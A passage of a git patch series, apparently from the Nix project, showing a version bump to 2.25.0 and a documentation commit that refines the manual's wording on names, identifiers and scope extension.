1 deletion(-) diff --git a/.version b/.version index ad2261920..5c18f9195 100644 --- a/.version +++ b/.version @@ -1 +1 @@ -2.24.0 +2.25.0 From b291b61089da1121145d92d6747ad2b18737ad9f Mon Sep 17 00:00:00 2001 From: Ryan Hendrickson Date: Thu, 1 Aug 2024 05:14:49 -0400 Subject: [PATCH 1251/1251] docs: editorial quibbles (#11232) --- doc/manual/src/language/identifiers.md | 3 ++- doc/manual/src/language/scope.md | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/doc/manual/src/language/identifiers.md b/doc/manual/src/language/identifiers.md index bd58a9b36..861ee3e20 100644 --- a/doc/manual/src/language/identifiers.md +++ b/doc/manual/src/language/identifiers.md @@ -16,13 +16,14 @@ An *identifier* is an [ASCII](https://en.wikipedia.org/wiki/ASCII) character seq # Names -A name can be an [identifier](#identifier) or a [string literal](./syntax.md#string-literal). +A *name* can be written as an [identifier](#identifier) or a [string literal](./syntax.md#string-literal). > **Syntax** > > *name* → *identifier* | *string* Names are used in [attribute sets](./syntax.md#attrs-literal), [`let` bindings](./syntax.md#let-expressions), and [`inherit`](./syntax.md#inheriting-attributes). +Two names are the same if they represent the same sequence of characters, regardless of whether they are written as identifiers or strings. # Keywords diff --git a/doc/manual/src/language/scope.md b/doc/manual/src/language/scope.md index 96c7468eb..9373324e2 100644 --- a/doc/manual/src/language/scope.md +++ b/doc/manual/src/language/scope.md @@ -13,7 +13,7 @@ Implicit definitions are only created by [with-expressions](./syntax.md#with-exp Every expression is *enclosed* by a scope. The outermost expression is enclosed by the [built-in, global scope](./builtins.md), which contains only explicit definitions. -The respective definition types *extend* their enclosing scope by adding new definitions, or replacing existing ones with the same name. +The expressions listed above *extend* their enclosing scope by adding new definitions, or replacing existing ones with the same name. An explicit definition can replace a definition of any type; an implicit definition can only replace another implicit definition. Each of the above expressions defines which of its subexpressions are enclosed by the extended scope.